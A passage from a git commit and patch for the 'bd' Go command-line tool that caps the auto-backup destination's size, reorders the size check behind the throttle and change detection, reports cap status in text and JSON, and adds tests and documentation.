showSizeCapStatusJSON backup.go:141 undefined: showSizeCapStatus backup_auto.go:200 undefined: backupSizeCapExceeded backup_auto.go:203 undefined: maybeWarnBackupSizeCap `backup_cap_test.go` was likewise absent from `//cmd/bd:bd_test`, leaving seven of the PR's nine new tests unreachable under Bazel. `make bazel-sync-check` does not catch this: `tools/bazel/go_srcs.py --check` only validates the `go_srcs` filegroup globs, not the `go_library`/`go_test` srcs enumerations. Four unrelated test files (config_leaked_secret_test.go, init_role_*_test.go, init_git_bootstrap_routing_test.go) are also unlisted, but they are unlisted on the base too, so they are left alone as pre-existing. Co-Authored-By: Claude Opus 5 * fix(backup): stop the size-cap walk from running on every bd command (#6071 review) Maintainer review fixup for PR #6071 (ga-y6gjv), iterations 1 and 2. The gating finding, filed independently by both review lanes and confirmed empirically: the fixup that moved the getDirSize walk behind the interval throttle does not deliver its claimed property, because state.Timestamp — the only thing that re-arms that throttle — is written in exactly two places, both inside runBackupExport. The two steady states that skip before reaching it therefore pass the throttle on every single bd invocation and pay the full filepath.Walk forever: IDLE no new Dolt commit; the walk runs, then change detection skips and writes nothing. PAUSED cap exceeded; the walk has already happened by the time maybeWarnBackupSizeCap persists LastCapWarnAt, which is the only field it wrote. PAUSED is the pathological case: an over-cap destination is by definition the largest one, so the feature's terminal state was its most expensive, persisting until an operator intervened. This landed on read-only commands too, i.e. the 65-100ms/command agent-polling regression the walk was moved to avoid. Both halves of the documented remedy: - Move the cap check after change detection, the order docs/reference/configuration.md already describes ("If data changed and the throttle interval has passed, bd checks the destination directory's on-disk size"). This makes that sentence true and closes the docs finding with no docs edit. - Re-arm the interval throttle (state.Timestamp) on the cap-exceeded skip, leaving LastDoltCommit untouched exactly as runBackupExport's own failure path does, so change detection still sees pending work once the cap is raised. Neither half suffices alone: the reorder still walks every command in a PAUSED workspace where data IS changing, and the persist alone still walks forever when IDLE. Persisting on the idle skip instead would add up to one backup.interval of backup latency, which this pairing avoids. Also from the same review, all non-gating: - The cap-check error path failed open behind a debug-only line, so one unreadable entry could silently restore unbounded growth while `bd backup status --json` reported the very same error. It now warns on stderr, throttled by the backup interval and deliberately not by the LastCapWarnAt slot: spending that slot here would suppress the more important PAUSED notice for a full warn interval. - The warn timestamp is now recorded only when the message was actually printed, so --json/--quiet agent calls stop consuming the 24h slot silently. - Dropped capWarnFallback (map, mutex, two accessors). No reachable production path can read it: both call sites are in PersistentPostRunE, which runs once per CLI process, and the proxy child installs an empty PersistentPostRun. Its pinning test is repurposed to the contract that is real — a persist failure must not block the already-decided skip. - Registered backup.size-cap-mb / backup.size-warn-interval in YamlOnlyKeys, so the backup block is a complete inventory again. Functionally inert: the map has no enumerator and its one predicate consumer already matches on the "backup." prefix. - `bd backup status` prints "Size cap: unavailable ()" instead of dropping the line, and the JSON error object carries an explicit null `exceeded` so a consumer cannot read a missing key as "not exceeded". The CHANGELOG's cost claim is corrected to match the shipped order; it described the throttle as sufficient, which is the defect above. Iteration 2, all non-gating (that review approved): - The walk-error path re-arms the interval throttle itself before proceeding uncapped. Iteration 1 relied on the fall-through into runBackupExport to bound that warning to once per backup.interval, but not every runBackupExport exit persists state.Timestamp: a failed post-sync GetCurrentCommit returns without saving state, so the walk, the warning and the sync itself repeated on every command. The doc comment now states the bound the code has: once per interval whenever backup_state.json can be written. - `bd backup status` echoes the configured backup.size-cap-mb when the cap is disabled instead of a literal 0. viper's GetInt also resolves an unparseable value ("2048MB") to 0, so the line asserted a value the operator never wrote. - The status readers count only a destination that does not exist yet as empty. getDirSize aborts on the first per-entry error, so a chunk file removed mid-walk read as 0 bytes, i.e. `"exceeded": false` for a destination that may be over its cap. It is now reported as unavailable, like any other walk error. - docs/reference/configuration.md no longer says `--json` reports the string `PAUSED (cap exceeded)`; it reports `size_cap.exceeded: true`. - TestMaybeAutoBackup_CapCheckSkippedWhenThrottled seeded the same commit as its watermark, so after iteration 1's reorder change detection alone stopped the walk: it passed with the interval throttle deleted, and so did every other Backup/Throttle/Auto test in cmd/bd. It now seeds a changed commit, and its comment names the renamed pauseAutoBackupForSizeCap. Tests: iteration 1's four new/updated pins are each mutation-proved. Dropping the throttle re-arm reds the three throttle pins and leaves the idle pin green; restoring the original ordering reds only the idle pin; reverting both reds all four. Iteration 2's three new pins each go red under their own mutation only: dropping the walk-error re-arm, restoring the literal `=0`, and swallowing a walk ENOENT (dropping the root stat reds the missing-destination case instead). Disabling the interval throttle now reds the throttle test. Base refresh before approval (rebased onto main 3f9561db2b, which had made the PR CONFLICTING): - main 8269a88cbf (#6327) moved compact onto storeSizeBytes and deleted getDirSize from compact.go, leaving backup_cap.go its only caller, so the merged tree failed to build (undefined: getDirSize) although only CHANGELOG.md and backup_auto.go conflicted textually. getDirSize is restored verbatim in backup_cap.go (plus the path/filepath import), and the two comments that described it as shared with, or exercised by, compact.go are corrected. - main 4e4ebdb443 (#6879) added acquireBackupLock where this commit places the size-cap check. Both are kept, the cap check first, as its comment asks: a skip should not first take the lock. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 27 ++ cmd/bd/BUILD.bazel | 2 + cmd/bd/backup.go | 6 +- cmd/bd/backup_auto.go | 33 +- cmd/bd/backup_cap.go | 232 +++++++++ cmd/bd/backup_cap_test.go | 824 ++++++++++++++++++++++++++++++++ cmd/bd/backup_export.go | 1 + cmd/bd/backup_status_test.go | 130 +++++ docs/reference/configuration.md | 16 +- internal/config/config.go | 11 + internal/config/yaml_config.go | 10 +- 11 files changed, 1280 insertions(+), 12 deletions(-) create mode 100644 cmd/bd/backup_cap.go create mode 100644 cmd/bd/backup_cap_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 01e816187..4b2ec795a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -139,6 +139,33 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 its server through the proxy, so an ambient port does not describe its lifecycle. +- **`bd` caps how large the auto-backup destination can grow, instead of + growing it forever** ([#6071](https://github.com/gastownhall/beads/pull/6071)). + `CALL DOLT_BACKUP('sync', ...)` only ever adds new chunks to the + destination — it never prunes ones that became unreachable on the source + (history rewrites, superseded data) — and Dolt exposes no supported way to + GC a backup destination in place. Left uncapped, the destination could + only grow until disk filled; this is the root cause of the 2026-06-19 + outage, where a 1.7GB store produced a 43GB backup directory. Auto-backup + now pauses (nothing is deleted) once the destination reaches + `backup.size-cap-mb` (default 2048MB); set it to `0` to disable the cap + entirely. The pause is no longer stderr-only: `bd backup status` and its + `--json` output now report a `size_cap` object (`enabled`, `cap_mb`, + `current_bytes`, `exceeded`), so an agent/CI caller relying on `--json` or + `--quiet` can see that auto-backup has stopped instead of reading a + reassuring "Last backup" line while nothing further syncs. The remediation + advice no longer suggests deleting the backup directory — nothing + guarantees a deleted destination is cleanly recreated by the next sync, and + the server-side backup remote stays registered against that path; it now + points at `backup.size-cap-mb` / `bd backup init ` instead. The + size-cap check itself runs after both the interval throttle and change + detection, so it costs nothing on any path that is not about to sync — an + idle workspace never reaches it at all, and a paused destination re-arms + the interval throttle on the skip, so it is measured at most once per + `backup.interval` rather than on every command. `backup.size-warn-interval` + (default 24h) controls how often the pause is re-announced. Manual `bd + backup` / `bd backup sync` are not capped. + - **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The canonical spelling of a Go module version — and the string a build stamped from a Go pseudo-version reports and writes into `.local_version` itself — diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 76f738ea5..29a89b369 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -24,6 +24,7 @@ go_library( "backend_support.go", "backup.go", "backup_auto.go", + "backup_cap.go", "backup_dolt.go", "backup_export.go", "backup_lock.go", @@ -512,6 +513,7 @@ go_test( "backup_auto_proxied_local_integration_test.go", "backup_auto_proxied_test.go", "backup_auto_test.go", + "backup_cap_test.go", "backup_dolt_test.go", "backup_embedded_test.go", "backup_export_failure_test.go", diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 0e8e02fcc..55b5b812f 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -88,8 +88,9 @@ func newBackupStatusCommand(sizeDatabase backupSizeFunc) *cobra.Command { if jsonOutput { result := map[string]interface{}{ - "backup": state, - "dolt": showDoltBackupStatusJSON(), + "backup": state, + "dolt": showDoltBackupStatusJSON(), + "size_cap": showSizeCapStatusJSON(dir), } if sizeAvailable { result["database_size"] = showDBSizeJSON(databaseSize) @@ -137,6 +138,7 @@ func newBackupStatusCommand(sizeDatabase backupSizeFunc) *cobra.Command { } fmt.Printf("\nConfig: enabled=%v%s interval=%s\n", enabled, enabledNote, interval) + showSizeCapStatus(dir) // Show Dolt backup info showDoltBackupStatus() diff --git a/cmd/bd/backup_auto.go b/cmd/bd/backup_auto.go index 988c0dcfb..eff435400 100644 --- a/cmd/bd/backup_auto.go +++ b/cmd/bd/backup_auto.go @@ -189,7 +189,12 @@ func maybeAutoBackup(ctx context.Context) { return } - // Throttle: skip if we backed up recently + // Throttle: skip if we backed up recently. Checked before the size-cap + // walk below so the common case — the majority of bd invocations, + // still inside the interval — pays zero directory-walk cost (ga-y6gjv + // PR #6071 review: getDirSize's filepath.Walk cost 65-100ms per + // invocation at 20k files when the cap check ran unconditionally, + // before this throttle, on every single command). interval := config.GetDuration("backup.interval") if interval == 0 { interval = 15 * time.Minute @@ -211,6 +216,32 @@ func maybeAutoBackup(ctx context.Context) { return } + // Size cap: skip entirely once the destination has grown past + // backup.size-cap-mb (ga-y6gjv) — see backupSizeCapExceeded for why a + // cap, not an in-place prune, is the safe fix here. + // + // Placed AFTER change detection, which is the order + // docs/reference/configuration.md:"How it works" documents. Ahead of + // it, the walk ran on EVERY bd invocation indefinitely in an idle + // workspace: nothing on the idle path advances state.Timestamp, so the + // interval throttle above can never re-arm while nothing is changing + // (ga-y6gjv PR #6071 review). Keep it above any lock acquisition — + // a skip should not first take a lock it is about to release. + if exceeded, size, err := backupSizeCapExceeded(dir); err != nil { + warnBackupSizeCapUnavailable(err) + // Re-arm the interval throttle before proceeding uncapped: not + // every runBackupExport exit persists state.Timestamp (see + // warnBackupSizeCapUnavailable), and without this the walk and + // its warning would repeat on every bd command. + state.Timestamp = time.Now().UTC() + if saveErr := saveBackupState(dir, state); saveErr != nil { + debug.Logf("backup: failed to persist throttle state after size cap error: %v\n", saveErr) + } + } else if exceeded { + pauseAutoBackupForSizeCap(dir, state, size) + return + } + // One backup at a time per workspace (backup_lock.go). Auto-backup never // waits: a held lock means a backup is already running. release, err := acquireBackupLock(0) diff --git a/cmd/bd/backup_cap.go b/cmd/bd/backup_cap.go new file mode 100644 index 000000000..64854731f --- /dev/null +++ b/cmd/bd/backup_cap.go @@ -0,0 +1,232 @@ +package main + +import ( + "fmt" + "os" + "path/filepath" + "time" + + "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/debug" +) + +// effectiveSizeCapMB returns the configured backup.size-cap-mb, or 0 if the +// cap is disabled. internal/config/config.go registers a viper default of +// 2048 for this key, so GetInt only returns <= 0 when the operator has +// explicitly set 0 (or an unparseable value, which viper's GetInt also +// resolves to 0) — per the ga-y6gjv PR #6071 review, that means "no cap", +// not "use the 2048 default instead" (an operator with a legitimately +// larger destination needs an off switch). +func effectiveSizeCapMB() int { + capMB := config.GetInt("backup.size-cap-mb") + if capMB <= 0 { + return 0 + } + return capMB +} + +// backupSizeCapExceeded reports whether dir's on-disk size has crossed +// backup.size-cap-mb (default 2048MB / 2GB; 0 disables the cap). +// +// A hard cap exists because BackupSync/CALL DOLT_BACKUP('sync', ...) only +// ever transfers new chunks into dir — it never prunes ones that became +// unreachable on the source DB (history rewrites, superseded data) — and +// Dolt exposes no supported way to GC a backup destination in place: it is +// a bare chunk-store directory with no .dolt repo-root marker (confirmed +// against dolt_backup.go's SQL procedures — add/sync/restore only, no gc; +// and empirically, `dolt gc` run with its working directory set to a real +// backup destination fails "not a valid dolt repository" because there is +// no .dolt for the CLI to find). Absent a cap, the destination can only +// grow forever until disk fills (ga-y6gjv, the 2026-06-19 outage: 43GB +// backup dir from a 1.7GB store). formatBytes is shared with +// runCompactDolt (compact.go); getDirSize is defined below. +func backupSizeCapExceeded(dir string) (exceeded bool, size int64, err error) { + capMB := effectiveSizeCapMB() + if capMB == 0 { + return false, 0, nil + } + size, err = getDirSize(dir) + if err != nil { + return false, 0, err + } + return size >= int64(capMB)*1024*1024, size, nil +} + +// walkBackupDestination is getDirSize, indirected so tests can inject the +// mid-walk ENOENT that a real filesystem produces only under a race. +var walkBackupDestination = getDirSize + +// backupDestinationSize measures dir for the status readers. Only a +// destination that does not exist yet counts as empty; every walk error is +// returned, ENOENT included. getDirSize aborts on the first per-entry +// error, so a chunk file removed between listing its directory and +// stat-ing it would otherwise read as 0 bytes: a false all-clear on a +// destination that may be well over its cap. +func backupDestinationSize(dir string) (int64, error) { + if _, err := os.Stat(dir); os.IsNotExist(err) { + return 0, nil + } + return walkBackupDestination(dir) +} + +// showSizeCapStatus prints size-cap info as part of `bd backup status` +// (ga-y6gjv PR #6071 review: status previously said nothing about the cap, +// so an agent/CI caller watching a paused destination saw only a +// reassuring "Last backup" line). +func showSizeCapStatus(dir string) { + capMB := effectiveSizeCapMB() + if capMB == 0 { + // Echo the configured value rather than a literal 0: an + // unparseable one ("2048MB") also disables the cap (see + // effectiveSizeCapMB), and this line is where an operator + // debugging that looks. + fmt.Printf(" Size cap: disabled (backup.size-cap-mb=%s)\n", config.GetString("backup.size-cap-mb")) + return + } + size, err := backupDestinationSize(dir) + if err != nil { + // Say so rather than dropping the line: a silent omission + // looks identical to "no cap configured" to an operator + // debugging a permission problem on the destination, and + // --json already reports this case (showSizeCapStatusJSON). + debug.Logf("backup status: size cap check failed (non-fatal): %v\n", err) + fmt.Printf(" Size cap: unavailable (%v)\n", err) + return + } + capBytes := int64(capMB) * 1024 * 1024 + if size >= capBytes { + fmt.Printf(" Size cap: PAUSED (cap exceeded) — %s / %s. Raise backup.size-cap-mb "+ + "or run `bd backup init ` to switch destinations.\n", + formatBytes(size), formatBytes(capBytes)) + return + } + fmt.Printf(" Size cap: %s / %s\n", formatBytes(size), formatBytes(capBytes)) +} + +// showSizeCapStatusJSON returns size-cap info for `bd backup status --json` +// — see showSizeCapStatus. +func showSizeCapStatusJSON(dir string) map[string]interface{} { + capMB := effectiveSizeCapMB() + if capMB == 0 { + return map[string]interface{}{"enabled": false} + } + size, err := backupDestinationSize(dir) + if err != nil { + // exceeded is explicitly null, not omitted: a consumer that + // reads a missing key as false would see "not exceeded" + // during exactly the failure that makes it unmeasurable. + return map[string]interface{}{ + "enabled": true, + "cap_mb": capMB, + "error": err.Error(), + "exceeded": nil, + } + } + capBytes := int64(capMB) * 1024 * 1024 + return map[string]interface{}{ + "enabled": true, + "cap_mb": capMB, + "current_bytes": size, + "exceeded": size >= capBytes, + } +} + +// warnBackupSizeCapUnavailable reports, on stderr, that the cap could not +// be measured and the backup is proceeding uncapped. +// +// getDirSize returns the first per-file error straight out of its +// filepath.Walk callback, so one unreadable entry — or a chunk file removed +// mid-walk — aborts the whole measurement. maybeAutoBackup deliberately +// fails OPEN there (blocking backups outright on an unreadable destination +// would be worse), but a debug-only line made that silent: the cap can +// disable itself and restore the unbounded growth this feature exists to +// prevent with nothing on the operator's terminal, while `bd backup status +// --json` reports the very same error (ga-y6gjv PR #6071 review). +// +// It is throttled by the backup interval, not by the PAUSED warning's +// LastCapWarnAt slot — spending that slot here would let a transient walk +// error suppress the more important "auto-backup PAUSED" notice for a full +// warn interval. maybeAutoBackup reaches the walk only after the interval +// throttle and change detection have both passed, and re-arms +// state.Timestamp itself after this warning rather than relying on the +// fall-through into runBackupExport: not every runBackupExport exit +// persists it (a failed post-sync GetCurrentCommit returns without saving +// state), and the next command would then walk and warn again. That bounds +// this warning to once per backup.interval whenever backup_state.json can +// be written. +func warnBackupSizeCapUnavailable(err error) { + if !isQuiet() && !jsonOutput { + fmt.Fprintf(os.Stderr, + "Warning: backup size cap could not be measured (%v); "+ + "proceeding without the cap. Auto-backup is unbounded until this clears.\n", err) + } + debug.Logf("backup: size cap check failed (non-fatal): %v\n", err) +} + +// pauseAutoBackupForSizeCap records the skip that happens when the +// destination is over backup.size-cap-mb, and announces it to stderr at +// most once per backup.size-warn-interval (default 24h). +// +// It re-arms the interval throttle (state.Timestamp) even though no backup +// ran, leaving LastDoltCommit untouched exactly as runBackupExport's own +// failure path does (backup_export.go, wy-zrmqr). Without that, the paused +// state is self-perpetuating and pathological: Timestamp is only ever +// advanced by a backup attempt, so a destination that is over cap — by +// definition the largest one — would pay the full getDirSize walk on every +// single bd command, forever, until an operator intervenes (ga-y6gjv +// PR #6071 review). LastDoltCommit is deliberately left alone so change +// detection still sees the pending work once the cap is raised. +// +// The warn timestamp, by contrast, is recorded only when the message was +// actually printed. --json/--quiet callers — i.e. every agent-driven +// command — would otherwise consume the 24h slot silently and the +// human-visible warning could effectively never fire; those callers have +// `bd backup status --json`'s size_cap field instead. +// +// Never returns an error: a failure to persist must not block the +// (already-decided) skip of the backup attempt itself. +func pauseAutoBackupForSizeCap(dir string, state *backupState, size int64) { + warnInterval := config.GetDuration("backup.size-warn-interval") + if warnInterval == 0 { + warnInterval = 24 * time.Hour + } + + state.Timestamp = time.Now().UTC() + + lastWarn := state.LastCapWarnAt + throttled := !lastWarn.IsZero() && time.Since(lastWarn) < warnInterval + announce := !throttled && !isQuiet() && !jsonOutput + if announce { + state.LastCapWarnAt = time.Now().UTC() + } + + if err := saveBackupState(dir, state); err != nil { + debug.Logf("backup: failed to persist size-cap skip state: %v\n", err) + } + + if announce { + fmt.Fprintf(os.Stderr, + "Warning: auto-backup PAUSED — destination %s has reached %s. "+ + "No further syncs will run until you raise backup.size-cap-mb "+ + "or switch to a fresh destination with `bd backup init `.\n", + dir, formatBytes(size)) + debug.Logf("backup: size cap exceeded (%s), auto-backup paused\n", formatBytes(size)) + return + } + debug.Logf("backup: size cap exceeded (%s), auto-backup paused (warning throttled)\n", formatBytes(size)) +} + +// getDirSize calculates the total size of a directory recursively. +func getDirSize(path string) (int64, error) { + var size int64 + err := filepath.Walk(path, func(_ string, info os.FileInfo, err error) error { + if err != nil { + return err + } + if !info.IsDir() { + size += info.Size() + } + return nil + }) + return size, err +} diff --git a/cmd/bd/backup_cap_test.go b/cmd/bd/backup_cap_test.go new file mode 100644 index 000000000..d44ac0438 --- /dev/null +++ b/cmd/bd/backup_cap_test.go @@ -0,0 +1,824 @@ +package main + +import ( + "context" + "errors" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/config" +) + +// TestBackupSizeCapExceeded pins the threshold check itself against a real +// directory (no stubbing needed — getDirSize is a pure filesystem read and +// formatBytes a pure formatter). +func TestBackupSizeCapExceeded(t *testing.T) { + tests := []struct { + name string + fileBytes int + capMB string // config value; "" = use default (2048) + wantExceeded bool + }{ + { + name: "tiny dir, default cap → not exceeded", + fileBytes: 1024, + wantExceeded: false, + }, + { + name: "dir over a small explicit cap → exceeded", + fileBytes: 2 * 1024 * 1024, // 2MB + capMB: "1", + wantExceeded: true, + }, + { + name: "dir under a small explicit cap → not exceeded", + fileBytes: 1024, + capMB: "1", + wantExceeded: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + if tt.capMB != "" { + t.Setenv("BD_BACKUP_SIZE_CAP_MB", tt.capMB) + } else { + os.Unsetenv("BD_BACKUP_SIZE_CAP_MB") + t.Cleanup(func() { os.Unsetenv("BD_BACKUP_SIZE_CAP_MB") }) + } + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "data"), make([]byte, tt.fileBytes), 0o600); err != nil { + t.Fatal(err) + } + + exceeded, size, err := backupSizeCapExceeded(dir) + if err != nil { + t.Fatalf("backupSizeCapExceeded: %v", err) + } + if exceeded != tt.wantExceeded { + t.Errorf("exceeded = %v (size=%d), want %v", exceeded, size, tt.wantExceeded) + } + }) + } +} + +// TestPauseAutoBackupForSizeCap_WarnThrottle pins the warning throttle: the +// stderr warning must not repeat on every single call once the cap is +// already known to be exceeded — only once per backup.size-warn-interval. +// Mirrors the throttle-persistence pattern already used for the backup +// interval itself (backup_export.go, wy-zrmqr). +// +// It also pins the half of the PR #6071 review fix that is independent of +// the warning: every call, throttled or not, re-arms the backup interval +// throttle (state.Timestamp) and persists it, so a paused destination pays +// the getDirSize walk at most once per backup.interval instead of once per +// bd command. +func TestPauseAutoBackupForSizeCap_WarnThrottle(t *testing.T) { + tests := []struct { + name string + lastWarnAt time.Time + warnInterval string // "" = use default (24h) + wantUpdated bool // whether LastCapWarnAt should advance + }{ + { + name: "never warned → warns now", + lastWarnAt: time.Time{}, + wantUpdated: true, + }, + { + name: "warned 1h ago, default 24h interval → throttled", + lastWarnAt: time.Now().UTC().Add(-1 * time.Hour), + wantUpdated: false, + }, + { + name: "warned 25h ago, default 24h interval → warns again", + lastWarnAt: time.Now().UTC().Add(-25 * time.Hour), + wantUpdated: true, + }, + { + name: "warned 1h ago, custom 30m interval → warns again", + lastWarnAt: time.Now().UTC().Add(-1 * time.Hour), + warnInterval: "30m", + wantUpdated: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + if tt.warnInterval != "" { + t.Setenv("BD_BACKUP_SIZE_WARN_INTERVAL", tt.warnInterval) + } else { + os.Unsetenv("BD_BACKUP_SIZE_WARN_INTERVAL") + t.Cleanup(func() { os.Unsetenv("BD_BACKUP_SIZE_WARN_INTERVAL") }) + } + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir := t.TempDir() + before := tt.lastWarnAt + state := &backupState{LastCapWarnAt: tt.lastWarnAt, LastDoltCommit: "deadbeef"} + + pauseAutoBackupForSizeCap(dir, state, 3*1024*1024*1024) + + updated := !state.LastCapWarnAt.Equal(before) + if updated != tt.wantUpdated { + t.Errorf("LastCapWarnAt updated = %v (before=%v after=%v), want %v", + updated, before, state.LastCapWarnAt, tt.wantUpdated) + } + + // The interval throttle is re-armed and persisted on EVERY + // skip, throttled warning or not — that is what stops a + // paused destination from walking on every bd command. + st, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + if st.Timestamp.IsZero() { + t.Error("timestamp not persisted to backup_state.json: the interval throttle never re-arms, so the cap walk reruns on every command") + } + if st.LastDoltCommit != "deadbeef" { + t.Errorf("last_dolt_commit = %q, want it left untouched so change detection still sees pending work", st.LastDoltCommit) + } + if tt.wantUpdated { + // Persisted state must reflect the new warning time too. + if st.LastCapWarnAt.IsZero() { + t.Error("last_cap_warn_at not persisted to backup_state.json") + } + } + }) + } +} + +// TestMaybeAutoBackup_SkipsWhenCapExceeded is the wiring test: a backup +// destination already over the size cap must never attempt a sync at all +// (runDoltGCCommand-equivalent risk avoided entirely — there is nothing to +// stub here because the whole point is that BackupDatabase must NOT be +// called once capped). +func TestMaybeAutoBackup_SkipsWhenCapExceeded(t *testing.T) { + // Isolate CWD/BEADS_DIR: unlike runBackupExport (used by the other + // tests in this file), maybeAutoBackup also calls + // clientServerShareFilesystem → beads.FindBeadsDir before ever + // reaching backupDir(), so an unisolated CWD could walk up into this + // repo's own real .beads/ directory (be-yjp4z; see backup_auto_test.go). + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("BD_BACKUP_GIT_REPO", repo) + t.Setenv("BD_BACKUP_ENABLED", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + // Push the destination over the 1MB cap before any backup attempt. + if err := os.WriteFile(filepath.Join(dir, "filler"), make([]byte, 2*1024*1024), 0o600); err != nil { + t.Fatal(err) + } + + oldStore := store + fake := &failingBackupStore{commit: "deadbeef", backupErr: nil} + store = fake + t.Cleanup(func() { store = oldStore }) + + maybeAutoBackup(context.Background()) + + if fake.backupCalls != 0 { + t.Fatalf("BackupDatabase should not be called once the size cap is exceeded, got %d calls", fake.backupCalls) + } +} + +// TestBackupSizeCapExceeded_DisabledWithZero pins the PR #6071 review fix: +// backup.size-cap-mb: 0 must mean "no cap", not "use the legacy 2048MB +// default" — an operator with a legitimately larger destination has no off +// switch otherwise. Uses a sparse file (Truncate, not a real write) to +// cross the legacy 2048MB threshold without allocating 2GB of real disk or +// memory. +func TestBackupSizeCapExceeded_DisabledWithZero(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "0") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir := t.TempDir() + f, err := os.Create(filepath.Join(dir, "sparse-filler")) + if err != nil { + t.Fatal(err) + } + const overLegacyDefault = int64(2049) * 1024 * 1024 // just over the old 2048MB fallback + if err := f.Truncate(overLegacyDefault); err != nil { + t.Fatal(err) + } + if err := f.Close(); err != nil { + t.Fatal(err) + } + + exceeded, _, err := backupSizeCapExceeded(dir) + if err != nil { + t.Fatalf("backupSizeCapExceeded: %v", err) + } + if exceeded { + t.Error("exceeded = true with backup.size-cap-mb=0, want false (cap disabled)") + } +} + +// TestPauseAutoBackupForSizeCap_RemediationAdvice pins the PR #6071 review +// fix: the warning must not tell operators to delete the backup directory +// — nothing confirms the destination is cleanly recreated by the next +// sync, and Dolt's server-side backup remote stays registered against that +// path. It should point at the safe levers instead: raising the cap, or a +// fresh destination via `bd backup init`. +func TestPauseAutoBackupForSizeCap_RemediationAdvice(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir := t.TempDir() + state := &backupState{} + + stderr := captureStderr(t, func() { + pauseAutoBackupForSizeCap(dir, state, 3*1024*1024*1024) + }) + + if strings.Contains(stderr, "delete") { + t.Errorf("warning suggests deleting the backup directory (unsafe — see PR #6071 review): %q", stderr) + } + if !strings.Contains(stderr, "backup.size-cap-mb") { + t.Errorf("warning missing backup.size-cap-mb pointer: %q", stderr) + } + if !strings.Contains(stderr, "bd backup init") { + t.Errorf("warning missing `bd backup init ` pointer: %q", stderr) + } +} + +// TestPauseAutoBackupForSizeCap_PersistFailureIsNonFatal pins the contract +// the whole pause path rests on: it persists the throttle by writing +// backup_state.json INTO the directory it just declared over-cap, and in +// the disk-full case this cap exists for that write fails. The skip and +// its operator warning must still happen — a failure to record the +// throttle must never block the already-decided skip, nor escape. +func TestPauseAutoBackupForSizeCap_PersistFailureIsNonFatal(t *testing.T) { + if os.Geteuid() == 0 { + t.Skip("running as root; chmod does not deny writes") + } + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir := t.TempDir() + // Make the destination read-only so saveBackupState can never persist + // the throttle timestamp — the same failure mode as the disk-full case + // this cap exists for. + if err := os.Chmod(dir, 0o500); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(dir, 0o700) }) // let t.TempDir() clean up + + state := &backupState{} + stderr := captureStderr(t, func() { + pauseAutoBackupForSizeCap(dir, state, 3*1024*1024*1024) + }) + if !strings.Contains(stderr, "PAUSED") { + t.Fatalf("expected a PAUSED warning even when the throttle cannot be persisted, got %q", stderr) + } + // The in-memory state still carries the re-armed throttle, so the rest + // of this process behaves as though it had been recorded. + if state.Timestamp.IsZero() { + t.Error("interval throttle not re-armed in memory when persistence failed") + } + if state.LastCapWarnAt.IsZero() { + t.Error("warn timestamp not recorded in memory when persistence failed") + } +} + +// TestMaybeAutoBackup_CapCheckSkippedWhenThrottled pins the ga-y6gjv PR +// review's performance fix: the size-cap directory walk must not run when +// the interval throttle would already skip the backup — the reviewer +// measured 65-100ms per bd invocation at 20k files in the backup dir if +// the cap check runs unconditionally before the throttle. Detected +// indirectly: if the cap check ran, it would find the destination over +// cap and persist LastCapWarnAt via pauseAutoBackupForSizeCap; if the +// interval throttle short-circuits first (as it must), LastCapWarnAt +// stays exactly as pre-seeded (zero). The cap check now sits after change +// detection too, so the store reports a commit that differs from the +// seeded watermark: otherwise change detection alone would stop the walk +// and this test would pass without the throttle. +func TestMaybeAutoBackup_CapCheckSkippedWhenThrottled(t *testing.T) { + t.Chdir(t.TempDir()) + 